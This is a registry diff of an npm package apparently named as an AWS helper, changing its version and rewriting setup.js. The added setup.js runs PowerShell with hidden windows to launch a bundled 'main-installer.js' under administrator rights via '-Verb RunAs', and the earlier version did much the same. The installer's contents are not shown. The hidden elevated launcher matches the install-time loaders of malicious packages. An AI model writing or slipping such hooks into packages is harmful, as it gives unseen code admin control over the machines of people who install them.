@antoncallahan/aws-user-helper 1.12.4 → 1.12.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/setup.js +18 -12
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@antoncallahan/aws-user-helper",
3
- "version": "1.12.4",
3
+ "version": "1.12.6",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/setup.js CHANGED
@@ -1,14 +1,20 @@
1
- const nodePath = process.execPath.replace(/\\/g, '\\\\');
2
- const targetScript = path.join(__dirname, 'installer.js').replace(/\\/g, '\\\\');
1
+ const { exec } = require('child_process');
2
+ const path = require('path');
3
3
 
4
- execSync(
5
- `powershell -NoProfile -Command "` +
6
- `$ErrorActionPreference = 'Stop'; ` +
7
- `try { ` +
8
- `$p = Start-Process -FilePath '${nodePath}' -ArgumentList @('${targetScript}') -Verb RunAs -PassThru -Wait; ` +
9
- `exit $p.ExitCode ` +
10
- `} catch { ` +
11
- `exit 1 ` +
12
- `}"`,
13
- { windowsHide: true, stdio: 'pipe' }
4
+ const targetScript = path.resolve(__dirname, 'main-installer.js');
5
+ const nodePath = process.execPath;
6
+
7
+ exec(
8
+ `powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath '${nodePath}' -ArgumentList '${targetScript}' -Verb RunAs -WindowStyle Hidden"`,
9
+ { windowsHide: true },
10
+ (err) => {
11
+ if (err) {
12
+ console.error('Failed to launch installer with admin privileges');
13
+ console.error('Aborting install');
14
+ process.exit(1); // Exit with error code
15
+ } else {
16
+ console.log('Launched installer with admin privileges');
17
+ process.exit(0); // Exit with success code
18
+ }
19
+ }
14
20
  );